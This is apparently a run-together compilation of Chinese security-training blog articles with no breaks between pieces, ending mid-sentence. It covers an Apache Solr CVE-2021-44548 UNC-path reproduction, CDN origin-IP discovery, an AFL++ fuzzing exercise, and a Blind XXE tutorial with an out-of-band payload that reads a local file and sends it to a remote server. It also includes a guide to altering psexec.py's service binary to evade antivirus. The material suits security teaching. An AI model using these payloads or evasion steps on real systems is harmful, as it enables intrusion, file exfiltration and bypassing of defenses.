CVE-2021-44548 Apache Solr 敏感信息泄露漏洞分析及复现
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞原理
漏洞简述
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成:
敏感数据泄露,如系统用户哈希(NTLM/LM哈希);
在系统配置错误的情况下,SMB中继攻击可能导致用户在SMB共享中被冒充,或导致远程代码执行。
漏洞分析
根据抓包内容中请求URL参数,以及solrconfig.xml中可以看到
漏洞点出于DataImportHandler#handleRequestBody
如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控
看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource
this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1
再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf
再执行resolve(resource)时,这里的WindowsPathType变成了UNC
resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数
resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径
二、漏洞复现实战
影响版本
Apache Solr < 8.11.1 (仅Windows)
环境搭建
Solr漏洞环境下载地址:
https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip
1)打开命令行,进入bin目录下,运行solr.cmd start
2)再另一个命令行面板中执行solr.cmd create_core -c new_core
3)然后在solr-8.11.0\dist目录中添加三个jar包:
4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由
5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目录下新建data-config.xml文件,内容如下:
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
convertType="true"
url="jdbc:mysql://IP:Port/test"
user="XXXX"
password="XXXX"/>
<document>
<entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
</entity>
</document>
</dataConfig>
6)重新启动solr
漏洞复现
进入Solr后台,选择core为我们新配置的core。
选择Dataimport,查看Configuration,可以看到我们新配置的data-config的详细信息
我们点击reload并抓包
查看包内容,可以看到请求如下:
URL参数添加参数,构造payload
payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=&\\xxx\xxx
我们添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,发送请求:
在DNSLog上可以看到收到请求
漏洞修复
目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。
下载链接:
https://solr.apache.org/downloads.html
缓解措施:
确保只有受信任的客户端才能向Solr的DataImporthandler发出请求
结束语
本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程,漏洞主要利用DataImportHandler存在输入验证缺陷,最终利用SMB服务导致敏感信息泄露。
CDN绕过技术总汇
近日HVV培训以及面试,有人问了CDN该如何绕过找到目标真实IP,这向来是个老生常谈的问题,而且网上大多都有,但是有些不够全面,今天把绕过CDN全理一理。术语叫做“深入浅出”。
CDN简介
定义
内容分发网络(英语:Content Delivery Network或Content Distribution Network,缩写:CDN)是指一种透过https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%AF%E7%B6%B2互相连接的电脑网络系统,利用最靠近每位用户的服务器,更快、更可靠地将音乐、图片、视频、应用程序及其他文件发送给用户,来提供高性能、可扩展性及低成本的网络内容传递给用户。
CDN是利用缓存技术,解决如何将数据快速可靠从源站传递到用户的问题。用户获取数据时,不需要直接从源站获取,通过CDN分发,用户可以从一个较优的服务器获取数据,从而达到快速访问,并减少源站负载压力的目的(负载均衡)
工作过程
用户在浏览器输入域名,先向DNS服务器发送请求
DNS服务器将域名解析权交(通过CNAME)给CDN专用DNS服务器
客户端根据返回的ip访问CDN负载均衡设备
负载均衡设备根据当前的负载情况和用户所需内容,返回合适的ip
客户端最后根据ip访问对应的CDN缓存服务器
优点
缓解原服务器访问压力
解决互联互通难题
解决网站突发流量的问题
合理利用互联网资源
全面预防单点故障
改善用户的访问的质量和体验
提供全面、准确、和详细的数据统计
有效的防治黑客攻击源站
......
适用范围
一般来说以资讯、内容等为主的网站,具有一定访问体量的网站
静态内容(html、js、css、image等,如图床)
视音频、大文件下载,分发加速:哔哩哔哩、腾讯等视频,百度云盘、蓝奏云等
视频直播加速:斗鱼、淘宝、虎牙直播
移动应用加速:移动app内图片、页面、短视频、UGC等内容,小程序等
像直播这一类必有CDN,因为一个网站直播流涌入大量用户,现在任何一家直播平台都没有直接负载的服务器能力。看直播再快的网速都有一定延迟的原因之一就是,需要在CDN里缓存一部分,用户从CDN里观看。
判断是否存在CDN
方法一:PingPingPing
不同地区对应着不同的CDN中心,所以使用不同站点的ping服务可分配到不同的CDN。这很简单,使用各种多站点ping服务来检查对应的IP地址是否唯一。如果不是唯一的,则使用大多数 CDN。多站Ping网站为:
http://ping.chinaz.com/http://ping.aizhan.com/http://tools.ipip.net/ping.php (强烈推荐这个,这个默认多站ping,真的很多)
方法二:nslookup
使用 nslookup 进行检测,原理同上,如果返回域名解析对应多个 IP 地址多半是使用了 CDN。
有 CDN 的示例:
> ctfking.com
服务器: public1.alidns.com
Address: 223.5.5.5
非权威应答:
名称: d831e3eec87f7d3c02a6-mini-l2.qcloudzygj.com
Addresses: 106.55.85.170
106.55.85.167
106.55.86.71
Aliases: ctfking.com
d14ca549ac628ef817e7beaa5095976f.qcloudwzgj.com
无CDN的示例:
> nbufe.edu.cn
服务器: public1.alidns.com
Address: 223.5.5.5
名称: nbufe.edu.cn
方法三:工具
https://www.cdnplanet.com/tools/cdnfinder/
CDN绕过
方法一:查询DNS解析记录
1.查看IP与域名绑定的历史记录。使用 CDN 之前可能有记录。相关查询网站为:
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
https://sitereport.netcraft.com/
https://tools.ipip.net/cdn.php(没错又是这个网站,它太猛了)
2.借助Securitytrails平台(https://securitytrails.com/)
攻击者可以查明真实的原始IP。他们只需在搜索字段中输入站点域名并按 ENTER,即可在左侧菜单中找到“历史数据”。
如何找到隐藏在 CloudFlare 或 Tor 背后的真实原始 IP?
除了过去的 DNS 记录,即使是当前的记录也可能泄露原始服务器 IP。例如,MX 记录是查找 IP 的常用方法。如果网站在与 Web 相同的服务器和 IP 上托管自己的邮件服务器,则原始服务器 IP 将在 MX 记录中。
方法二:查询子域名
毕竟CDN还是不便宜,所以很多站长可能只会在主站或者流量大的子站做一个CDN,而很多小站子站跟主站在同一个服务器或者同C段,此时可以通过子域对应的IP查询,帮助找到真实IP站点。
https://x.threatbook.cn/上面提到的微步在线功能强大,黑客只需输入域名即可查找(如baidu.com),点击子域选项即可找到其子域,但免费用户每月只有5次免费查询机会。
https://dnsdb.io/zh-cn/黑客只需要输入baidu.com TYPE:A就可以收集到百度的子域名和IP。
https://www.google.com/谷歌站点:baidu.com-www 可以看到除WWW以外的子域
子域扫描器
Layer子域名挖掘机和lijiejie的subdomain那个工具都很不错
推荐长亭的xray
方法三:网络空间引擎
fofa、鹰图、Zoomeye、shodan、360
推荐鹰图
只需输入:title:“网站的title关键字”或者body:“网站的body特征”就可以找出收录的有这些关键字的ip域名,很多时候能获取网站的真实ip
方法四:使用SSL证书寻找真实原IP
如果您在 xyz123boot.com 上托管服务,则原始服务器 IP 为 136.23.63.44。CloudFlare 将为您提供 DDoS 防护、Web 应用防火墙和其他一些https://www.webshell.cc/tag/security服务,以保护您的服务免受攻击。为此,您的 Web 服务器必须支持 SSL 并具有证书。此时,CloudFlare 与您的服务器之间的通信,就像您与 CloudFlare 之间的通信一样,将被加密(即没有灵活的 SSL)。这看起来很安全,但问题是当你直接连接到443端口(https://136.23.63.44:443)上的IP时,会暴露SSL证
此时,如果攻击者扫描0.0.0.0/0,整个互联网,就可以在xyz123boot.com的443端口获取有效证书,进而获取提供给你的web服务器IP。
目前,Censys 工具可以扫描整个互联网。Censys 是用于搜索联网设备信息的新搜索引擎。安全专家可以使用它来评估其实施的安全性,黑客可以使用它作为初步调查。攻击目标和收集目标信息的强大武器。Censys 搜索引擎可以扫描整个互联网。Censys每天扫描IPv4地址空间,搜索所有联网设备并收集相关信息,并返回资源(如设备、网站、证书等)配置和部署的整体报告。
攻击者唯一需要做的就是将上述搜索词转换为实际的搜索查询参数。
xyz123boot.com证书的搜索查询参数为:parsed.names: xyz123boot.com
只显示有效证书的查询参数为:tags.raw:trusted
攻击者可以在 Censys 上实现多个参数的组合,这可以通过使用简单的布尔逻辑来完成。
组合的搜索参数是:parsed.names:xyz123boot.com 和 tags.raw:trusted
Censys 将向您显示在扫描中找到的符合上述搜索条件的所有标准证书。
要一一查看这些搜索结果,攻击者可以通过单击右侧的“探索”来打开一个包含多个工具的下拉菜单。什么在使用这个证书?> IPv4 主机
使用给定的 SSL 证书
如果您是执法人员,并且想找到隐藏在 cheesecp5vaogohv.onion 下的儿童色情网站。最好的办法是找到它的原始IP,这样就可以追踪它的托管服务器,甚至可以找出它背后的运营商和财务线索。
隐藏服务具有 SSL 证书。要查找它使用的 IPv4 主机,只需将“SHA1 指纹”(签名证书的 sha1 值)粘贴到 Censys IPv4 主机搜索中即可找到证书。这种方法很容易找到配置错误的Web服务器。
方法五:使用HTTP头找到真正的原始IP
借助 SecurityTrails 这样的平台,任何人都可以在海量的大数据中搜索自己的目标,甚至可以通过比较 HTTP 标头找到原始服务器。
特别是当用户有一个非常特殊的服务器名称和软件名称时,攻击者更容易找到你。
如果要搜索的数据很多,如上所述,攻击者可以在 Censys 上组合搜索参数。假设您正在与 1500 个 Web 服务器共享您的服务器 HTTP 标头,所有这些服务器都发送相同的标头参数和值组合。而且您还使用新的 PHP 框架来发送唯一的 HTTP 标头(例如:X-Generated-Via: XYZ 框架),目前约有 400 位网站管理员使用该框架。最终,在三台服务器的交汇处,通过人工操作即可找到IP,整个过程仅需几秒。
例如,Censys上用于匹配服务器头的搜索参数为80.http.get.headers.server:,查找CloudFlare服务的网站的参数如下:
80.http.get.headers.server:cloudflare
方法六:利用网站返回的内容寻找真实的原IP
如果原服务器IP也返回网站内容,可以在网上搜索很多相关资料。
浏览网站源代码以查找独特的代码片段。在 JavaScript 中使用具有访问权限或标识符参数的第三方服务(例如 Google Analytics、reCAPTCHA)是攻击者经常使用的一种方法。
以下是从 HackTheBox 网站获得的 Google Analytics 跟踪代码示例:
ga('创建','UA-93577176-1','auto');80.http.get.body 可以使用:参数通过body/source过滤Censys数据。不幸的是,普通搜索字段有局限性。但是您可以在 Censys 请求研究访问权限,这使您可以通过 Google BigQuery 进行更强大的查询。
Shodan 是一个类似于 Censys 的服务,同样提供 http.html 搜索参数。
搜索示例:https://www.shodan.io/search?query=http.html%3AUA-32023260-1
方法七:使用外地主机解析域名
国内很多CDN厂商因为各种原因只做国内线,国外线路可能几乎没有。这时候我们可能会使用外地主机直接访问真实IP。
方法八:网站漏洞搜索
目标敏感文件泄露,如phpinfo、GitHub信息泄露等探针
XSS盲打、命令执行反向shell、SSRF等
无论是社会工程还是其他手段,目标网站获取CDN中的管理员账号,在CDN的配置中可以找到网站的真实IP。
方法九:网站邮件订阅搜索
RSS邮件订阅,很多网站都有自己的sendmail,会发邮件给我们。此时,服务器的真实IP将包含在邮件的源代码中。
方法十:用Zmap扫描全网
要找到xiaix.me网站的真实IP,我们首先从apnic获取IP段,然后使用Zmap的banner-grab扫描出开放80端口的主机进行banner抓包,最后在Host中写入xiaix.me http请求。
方法十一:F5 LTM解码方法
服务器使用F5 LTM进行负载均衡时,也可以通过set-cookie关键字解码得到真实ip,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,第一个小数部分的十进制数是487098378取出来,然后转换成十六进制数1d08880a,然后从后往前,取出四位数字,就是0a.88.08.1d,最后再转换成十进制数10.136.8.29,也是最后一个真实IP。
方法十二:网页敏感信息
这条思路来源于Jacko
favicon哈希值
根据网站图标哈希值搜索IP
python2脚本
import mmh3
import requests
response = requests.get('https://example.com/favicon.ico')
favicon = response.content.encode('base64')
hash = mmh3.hash(favicon)
print 'http.favicon.hash:'+str(hash)
去fofa或者shodan上搜索该哈希值
查询格式:
fofa:icon_hash="xxx"
shodan:http.favicon.hash:xxx
HTML源代码检索查找IP
根据网站页面HTML中特有的字符串去搜索引擎中搜索,如目标页面中由HTML标签为<title>的字段比较特殊,那么可以去FOFA中搜索:
title="xxxxxxxxxxxxxxx"
搜索到的结果会显示IP,访问该IP,若能够正常访问则为真正IP,如果打不开则为CDN或虚拟主机服务器
参考文章:
https://www.wolai.com/3xXwCoP1KEgkWWG8bnnianhttps://www.codetd.com/en/article/12945130
Fuzzing101系列 Exercise 1 - Xpdf
序言
Fuzzing101系列包含针对10 个真实目标的10个练习,在练习中一步一步学习Fuzzing技术的知识。
模糊测试(Fuzzing/Fuzz)是一种自动化软件测试技术,它基于为程序提供随机或变异的输入值并监视它的异常和崩溃。
AFL、libFuzzer 和 HonggFuzz 是现实世界应用中最多的三个模糊器,这三个都是覆盖引导的进化模糊器(Coverage-guided evolutionary fuzzer)。其中
进化(evolutionary)是一种受进化算法启发的元启发式方法,它基本上包括通过使用选择标准(例如覆盖率)随时间推移初始子集(种子)的进化和变异。
覆盖引导(Coverage-guided)是指为了增加发现新崩溃的机会,覆盖引导的模糊器收集和比较不同输入之间的代码覆盖率数据,并选择那些导致新执行路径的输入。
在这个练习中,我们将fuzz Xpdf PDF 查看器。目的是在 XPDF 3.02 中找到 CVE-2019-13288 的崩溃/PoC。
CVE-2019-13288 是一个漏洞,它可能会通过精心制作的文件导致无限递归。由于程序中每个被调用的函数都会在栈上分配一个栈帧,如果一个函数被递归调用这么多次,就会导致栈内存耗尽和程序崩溃。因此,远程攻击者可以利用它进行 DoS 攻击。可以在以下链接中找到有关不受控制的递归漏洞的更多信息:https://cwe.mitre.org/data/definitions/674.html
你会学到什么
完成本练习后,你将了解使用 AFL 进行 fuzz 的基础,例如:
使用检测编译目标应用程序
运行模糊器(afl-fuzz)
使用调试器 (GDB) 对崩溃进行分类
环境
所有练习都在 Ubuntu 20.04.2 LTS 上进行了测试。 我强烈建议您使用相同的操作系统版本以避免不同的模糊测试结果,并在裸机硬件而不是虚拟机上运行 AFL,以获得最佳性能。
否则,您可以在此处找到 https://drive.google.com/file/d/1_m1x-SHcm7Muov2mlmbbt8nkrMYp0Q3K/view?usp=sharing 镜像。用户名为 fuzz / fuzz。
AFL 使用非确定性测试算法,因此两个模糊测试会话永远不会相同。我强烈建议设置一个固定的种子(-s 123),这样你的模糊测试结果将与本文的结果相似。
下载并构建目标
首先为要进行模糊测试的项目创建一个新目录:
cd $HOME
mkdir fuzzing_xpdf && cd fuzzing_xpdf/
为了完全准备好环境,需要安装一些额外的工具(make 和 gcc)
sudo apt install build-essential
下载 Xpdf 3.02:
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -xvzf xpdf-3.02.tar.gz
构建 Xpdf:
cd xpdf-3.02
sudo apt update && sudo apt install -y build-essential gcc
./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install
下面对 Xpdf 进行测试,首先下载一些 PDF 示例:
cd $HOME/fuzzing_xpdf
mkdir pdf_examples && cd pdf_examples
wget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdf
wget http://www.africau.edu/images/default/sample.pdf
wget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf
使用以下命令测试 pdfinfo 二进制文件:
$HOME/fuzzing_xpdf/install/bin/pdfinfo -box -meta $HOME/fuzzing_xpdf/pdf_examples/helloworld.pdf
安装 AFL++
我们将使用最新版本的 AFL++ fuzzer(https://github.com/AFLplusplus/AFLplusplus)
安装依赖项
sudo apt-get update
sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev
构建 AFL++
cd $HOME
git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus
export LLVM_CONFIG="llvm-config-11"
make distrib
sudo make install
执行afl-fuzz,查看是否安装成功
认识 AFL++
AFL 是一个覆盖引导的模糊器(coverage-guided fuzzer),这意味着它收集每个变异输入的覆盖信息,来发现新的执行路径和潜在的错误。当源代码可用时,AFL 可以使用插桩(instrumentation),在每个基本块(函数、循环等)的开头插入函数调用。
要为我们的目标程序启用检测,我们需要使用 AFL 的编译器编译源代码。
首先,我们要清理所有之前编译的目标文件和可执行文件:
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean
现在我们将使用 afl-clang-fast 编译器构建 xpdf:
export LLVM_CONFIG="llvm-config-11"
CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install
现在可以使用以下命令运行 fuzzer:
afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/install/bin/pdftotext @@ $HOME/fuzzing_xpdf/output
每个选项的简要说明
-i 表示输入示例的目录
-o 表示 AFL + + 将存储的变异文件的目录
-s 表示要使用的静态随机种子
@@ 是占位符目标的命令行,AFL 将用每个输入文件名替换
fuzzer将会对每个不同的输入文件运行 $HOME/fuzzing_xpdf/install/bin/pdftotext <input-file-name> $HOME/fuzzing_xpdf/output 命令
出现错误,根据提示,执行以下操作:
sudo su
echo core >/proc/sys/kernel/core_pattern
exit
成功运行,等待一段时间后,发现已经有了一个crash
可以在$HOME/fuzzing_xpdf/out/ 目录中找到这些崩溃文件。一旦发现第一次崩溃,就可以停止fuzzer,上图中已经出现了一个独特的崩溃。根据您的机器性能,最多可能需要一到两个小时才能发生崩溃。
为了完成这个练习,下面尝试使用指定的文件重现崩溃,调试崩溃发现问题,并且修复问题。
重现崩溃
在$HOME/fuzzing_xpdf/out/目录下找到 crash 对应的文件。文件名类似于id:000000,sig:11,src:000390,time:103613,execs:71732,op:havoc,rep:16
将此文件作为输入传递给 pdftotext
$HOME/fuzzing_xpdf/install/bin/pdftotext '/home/fuzz/fuzzing_xpdf/out/default/crashes/<your_filename>' $HOME/fuzzing_xpdf/output
它将导致段错误segmentation fault并导致程序崩溃。
调试
使用 gdb 找出程序因该输入而崩溃的原因。
首先使用调试信息重建 Xpdf 来获得符号堆栈跟踪:
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean
CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install
然后使用GDB,输入run
gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/<your_filename> $HOME/fuzzing_xpdf/output
然后输入bt回溯查看栈帧
发现有许多次Parser::getObj的调用,它们似乎表示一个无限递归。如果你去 https://www.cvedetails.com/cve/cve-2019-13288/ ,你可以看到描述符合我们从 GDB 得到的回溯。
实验推荐
实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5ec5-3232-4f16-8c14-c98b75f8915d>>
浅析无回显的XXE(Blind XXE)
xml介绍
XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
内部实体
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。
外部实体
示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。
通用实体
用 &实体名;在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
抛转:参数实体在我们 Blind XXE 中起到了至关重要的作用
有回显XXE
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。
本地服务器上放上解析 XML 的 php 代码:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
其中:LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
触发xxe
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello world!" >]>
读取本地服务器C盘的flag文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/flag"> ]>
<creds>&goodies;</creds>
引用外部实体读取文件
引用方式是使用 引用公用 DTD 的方法读取
无回显XXE
有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx?p=file;'>">
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
这样,我们就读到了flag文件的内容。
参考文章
https://xz.aliyun.com/t/3357#toc-10 一篇文章带你深入理解漏洞之 XXE 漏洞
实验推荐
实验:第十四周 | blind xxe(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9117-d620-481d-91f8-344e0ac69dea>>
psexec.py规避杀软
前言
在内网渗透中,当获取到一个账号密码后,经常会使用impacket套件中的psexec.py进行远程连接并执行命令,但是因为用的人多了,杀软也对psexec.py特征进行了拦截,也就导致了如果使用默认的psexec.py进行执行命令时会失败。
原理分析
psexec.py的原理是通过smb上传一个服务程序到c:\windows(ADMIN$)目录,服务程序通过管道进行后续的命令执行的输入输出。
服务程序来自于remcomsvc.py:
服务安装通过serviceinstall.py进行:
服务和服务文件的名字默认是随机的:
直接psexec.py不带任何参数,上传过去的服务文件名就长这样:
因此为了防止奇奇怪怪的名字很容易被机器负责人发现,psexec.py也是提供了相应的参数用来自定义:
这里要提一嘴的是,因为UAC的缘故,如果RID不是500,就算账号是管理员也是没权限上传文件到ADMIN$目录,程序报错如下:
改造
默认情况下,使用psexec.py会被拦截:
根据上面的杀软截图能看到是服务程序被拦截,因此我们需要对服务程序进行修改来尝试绕过杀软,源码在这:
https://github.com/kavika13/RemCom
这里可以尝试修改print的输出:
或者修改管道名称:
然后重新生成RemComSvc,然后转成hex:
import binascii
filename = 'RemComSvc.exe'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
最终可以规避杀软进行命令执行:
总结
本文介绍了通过修改服务程序来绕过杀软,让psexec.py再次大放异彩。
从防御者视角来看APT攻击
前言
APT防御的重要性毋庸讳言,为了帮助各位师傅在防御方面建立一个总体认识,本文会将APT防御方法分为三类,分别是:监控、检测和缓解技术,并分别进行梳理,介绍分析代表性技术。这一篇分析现有的监控技术。
APT
这里不谈APT概念,就是分享两张最近看到的觉得描述APT非常契合的图。
如果我们把APT分成6个攻击阶段的话,一种经典的划分方式如下
或者也可以画成金字塔
这里我们假设攻击目标位于金字塔的顶端,侧面表示攻击进化的环境(如物理平面、用户平面、网络平面、应用平面等)。金字塔平面依赖于每个组织的细节,并根据记录事件的环境定义。假设APT组织能够全面了解目标的所有设施以确定达到目标G的可行平面。那么为了达到目标G,攻击者可以探索漏洞并通过从一个或多个平面“爬行”接近目标。因此,最终检测到的APT就像一棵跨越多个平面的攻击树。
这么说不形象,我们可以上面这个金字塔展开
这个图就很直观了,图中小点代表平面中记录的事件,而彩色连接的事件代表相关事件,其表示可能的攻击。path1表示物理平面的相关事件,path2和path3表示涉及多个平面的相关事件。
监控
硬盘监控
这主要针对落地文件而言。
每个终端都需要通过反病毒、防火墙或必要的内容过滤来监控任何恶意行为。对系统上运行的软件进行必要的修补程序,可以消除已知的漏洞,从而减少攻击者的入侵点,否则这些漏洞可能会将恶意软件传播到网络中容易受到攻击的地方。这方面的技术其实比较成熟了,而且并不适用于APT攻击,这里就不展开说明了。
内存监控
现在更加流行的方法是内存监控,这主要针对现在流行无文件、不落地攻击手段而言的,这种攻击手段一般通过使用一个已经在内存中运行的进行来执行恶意功能,由于没有单独的进程在后台运行,所以不会留下任何轨迹。比如卡巴斯基发现的Duqu,就是运行在一个已经运行的进程的内存中。
这个领域有很多优秀的工作,这里简单介绍几个。
1、通过分析Stuxnet、Duqu、Flame和Red October使用恶意软件进行APT攻击的活动进行检测,其特点比较如下。
他们介绍了APT攻击者所使用的规避技术,如rootkit功能、负载变化的端点扫描、网络流量加密和混淆、隐写术、内存中恶意软件的执行和假数字证书等。针对这些攻击技术,作者建议通过补丁管理、强大的网络访问控制和监控、严格的互联网政策、协议感知的安全解决方案、监控DNS查询、监控异常域的访问、监控网络连接、蜜罐和蜜网,以及标准的基于主机的入侵防御系统作为APT的防御对策。
2、提取出了不同类型的恶意软件的特征,并提出了一个通用的解决方案用于检测不同类型的恶意软件。他们收集恶意软件和良性样本作为训练数据,并从中提取污点图(taint graph)。然后污点图转换成一个特征向量,在这个特征向量上应用标准分类算法来训练模型。这个模型训练完成后被用来识别系统上的恶意行为。他们使用了不同恶意软件(键盘记录、密码窃取、后门等)的共同特征。这些恶意软件通常表现出的特征是异常的信息访问和处理行为。例如,键盘记录和密码窃取会拦截击键输入。在比如说,为了不被发现,后门要么使用不常见的协议(如ICMP),要么创建一个原始套接字,要么拦截网络堆栈来与远程攻击者通信。基于ICMP的
下图是一个污点图的例子,反映了Windows用户身份验证的过程。当一个密码窃取器在后台运行时,它捕捉到密码并将其保存到它的日志文件“c: ginallog .log”中。
